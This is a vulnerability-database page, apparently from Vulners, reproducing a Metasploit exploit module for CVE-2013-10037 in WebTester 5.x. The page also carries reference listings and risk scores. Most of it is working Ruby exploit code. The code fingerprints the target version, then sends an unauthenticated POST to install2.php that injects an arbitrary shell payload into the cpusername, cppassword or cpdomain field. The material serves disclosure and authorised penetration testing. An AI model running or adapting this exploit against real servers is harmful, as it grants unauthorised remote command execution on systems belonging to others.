WebTester 5.x Command Execution
🗓️ 17 Oct 2013 00:00:00Reported by bcoles <[email protected]>Type
metasploit🔗 www.rapid7.com👁 19 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2013-10037 | 31 Jul 202515:01 | – | attackerkb | |
| CVE-2013-10037 | 29 May 201815:50 | – | circl | |
| Eppler Software WebTester 安全漏洞 | 31 Jul 202500:00 | – | cnnvd | |
| CVE-2013-10037 | 31 Jul 202515:01 | – | cve | |
| CVE-2013-10037 WebTester 5.x install2.php Unauthenticated Command Execution | 31 Jul 202515:01 | – | cvelist | |
| EUVD-2013-7250 | 7 Oct 202500:30 | – | euvd | |
| CVE-2013-10037 | 31 Jul 202515:15 | – | nvd | |
| PT-2025-31535 · Undefined · Undefined | 31 Jul 202500:00 | – | ptsecurity | |
| CVE-2013-10037 | 2 Aug 202520:22 | – | redhatcve | |
| CVE-2013-10037 WebTester 5.x install2.php Unauthenticated Command Execution | 31 Jul 202515:01 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "WebTester 5.x Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in WebTester
version 5.x. The 'install2.php' file allows unauthenticated users to
execute arbitrary commands in the 'cpusername', 'cppassword' and
'cpdomain' parameters.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles' # Metasploit
],
'References' => [
['CVE', '2013-10037'],
['OSVDB', '98750'],
['URL', 'https://sourceforge.net/p/webtesteronline/bugs/3/']
],
'Payload' => {
'Space' => 8190, # Just a big value, injection on POST variable
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' => [
# Tested on WebTester v5.1.20101016
[ 'WebTester version 5.x', { 'auto' => true } ]
],
'Privileged' => false,
'DisclosureDate' => '2013-10-17',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
]
)
end
#
# Checks if target is running WebTester version 5.x
#
def check
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
if not res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown('Could not determine the target status')
end
if res.body =~ /Eppler Software/
if res.body =~ / - v5\.1\.20101016/
vprint_status("Found version: 5.1.20101016")
return Exploit::CheckCode::Appears('The target appears to be vulnerable')
elsif res.body =~ / - v(5\.[\d\.]+)/
vprint_status("Found version: #{$1}")
return Exploit::CheckCode::Appears('The target appears to be vulnerable')
else
return Exploit::CheckCode::Detected('The target service was detected')
end
else
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
end
def exploit
vuln_params = [
'cpusername',
'cppassword',
'cpdomain'
]
print_status("Sending payload (#{payload.encoded.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install2.php'),
'vars_post' => {
'createdb' => 'yes',
'cpanel' => 'yes',
"#{vuln_params.sample}" => "';#{payload.encoded} #"
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.code == 200 and res.body =~ /Failed to connect to database server/
print_good("Payload sent successfully")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Oct 2013 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 49.3
EPSS0.09615
SSVC